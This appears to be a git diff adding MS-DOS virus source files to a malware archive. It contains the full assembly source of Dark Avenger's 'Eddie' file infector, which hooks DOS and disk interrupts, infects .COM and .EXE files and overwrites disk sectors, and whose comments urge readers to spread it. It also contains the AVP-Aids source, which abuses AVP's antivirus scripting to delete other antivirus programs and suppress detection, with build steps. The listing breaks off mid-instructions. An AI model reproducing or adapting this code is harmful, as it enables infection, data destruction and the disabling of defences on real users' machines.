ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, which +contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.avengsrc.asm b/MSDOS/Virus.MSDOS.Unknown.avengsrc.asm new file mode 100644 index 00000000..a1cb9ff8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.avengsrc.asm @@ -0,0 +1,999 @@ + + +Ok PAUL, Here is the file you requested, + + + +;************************ +;* * +;* E D D I E * +;* * +;* by Dark Avenger * +;* * +;* 3-JAN-1989 * +;* * +;* version 1.31x * +;* * +;************************ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly troughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the aniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one, who intentionaly distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM-file cannot be run. For that purpose you have to create a three-byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warrant is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populazer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into memory +top_save equ save_int_21+4 ;Beginning of the buffer, which +contains + ; - The first 24 bytes read from file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.avpaids.asm b/MSDOS/Virus.MSDOS.Unknown.avpaids.asm new file mode 100644 index 00000000..862006cc --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.avpaids.asm @@ -0,0 +1,327 @@ +; +; ▄█████▄ ▄█████▄ ▄█████▄ +; AVP-Aids, ███ ███ ███ ███ ███ ███ +; by Tcp/29A ▄▄▄██▀ ▀██████ ███████ +; ███▄▄▄▄ ▄▄▄▄███ ███ ███ +; ███████ ██████▀ ███ ███ +; +; AVP is probably the best antivirus nowadays, but it's the most easily +; foolable too :) One of its best advantages is that the user himself is +; able to write his own detection and disinfection routines for any new +; virus he may find. But a virus author could use that facilities to +; write a virus, don't you think? :) +; +; All we need to have is the routine editor (AVPRO) which is included in +; the registrated version of AVP (2.1 and above), or the -older- one in- +; cluded in the shareware version of AVP 2.0, which is the one i used. +; +; This routine editor gives us a lot of functions and structures we can +; call. For more info on this, read their definitions in a file named +; DLINK.H which is included in AVP. +; +; Having access to the vectors of those functions, we may either change +; or redirect them as a normal virus does with the standard interrupt +; vectors. We could write trojans, droppers, a stealth routine, and even +; a whole virus... imagination is the only limit you have ;) +; +; As an example of this, i wrote a simple virus which i named AVP-Aids, +; because it works in the same way as the known disease does: +; +; - It destroys the organism defenses: deletes F-Prot, TbScan and Scan +; when AVP tries to scan them. +; - Favours the appearing of opportunist diseases: AVP won't detect any +; virus (only a few using it heuristic scanner), so any virus, though +; being a super-old one, will be able to infect the system. +; +; I recommend the reading of the file USERGUID.DOC which is included in +; the AVP pack for a better comprehension about the way AVP-Aids works. +; +; For getting a working dropper of AVP-Aids, first compile the next two +; files (tasm /m /ml /q avp_dec.asm; tasm /m /ml /q avp_jmp.asm). +; +; ──── File: AVP_DEC.ASM ─────────────────────────────────────────────── + +aids_decode segment byte public 'CODE' +assume cs:aids_decode + +_decode proc far +aids proc far + push ds + push bp + mov bp,seg _Page_A ; Get AVP's data segment + mov ds,bp + les di,ds:_Page_A ; Get pointer to Page_A + mov cx,400h ; Length of Page + push cx + mov al,1 ; If al=0 then AVP detects the Win95.Boza.A + ; in a high number of files... rules :-DDD + rep stosb ; Clear Page_A + + les di,ds:_Page_B + pop cx + push cx + rep stosb ; Clear Page_B + + les di,ds:_Header + pop cx + rep stosb ; Clear Header + + push ds + pop es + lds si,ds:_File_Name ; File scanned + lodsw + cmp ax,'-f' ; Check for F-*.* + je del_file + cmp ax,'bt' ; Check for TBSCAN + jne check_sc + lodsw +check_sc: + cmp ax,'cs' ; Check for SCAN + jne no_scan + lodsw + cmp ax,'na' + jne no_scan +del_file: + push es + pop ds + lds dx,ds:_File_Full_Name + mov ah,41h + int 21h ; Delete file (F-Prot, Scan, TBScan) +no_scan: + pop bp + pop ds + xor ax,ax + retf ; Return to AVP (AX==0 <-> RCLEAN) +aids endp +_decode endp + +aids_decode ends + +public _decode +public aids +extrn _Page_A:dword +extrn _Page_B:dword +extrn _Header:dword +extrn _File_Name:dword +extrn _File_Full_Name:dword +end + +; ──── EOF: AVP_DEC.ASM ──────────────────────────────────────────────── +; +; ──── File: AVP_JMP.ASM ─────────────────────────────────────────────── + +aids_jmp segment byte public 'CODE' +assume cs:aids_jmp + +_jmp proc far + call far ptr aids ; call the aids procedure + retf ; Return to AVP +_jmp endp + +aids_jmp ends + +public _jmp +extrn aids:far +end + +; ──── EOF: AVP_JMP.ASM ──────────────────────────────────────────────── +; +; Now that we got their corresponding OBJ files, we load AVPRO and edit +; a new viral database which we'll name AVP_AIDS.AVB. Add a File regis- +; ter, and write the name and the commentary you want, it doesn't mind. 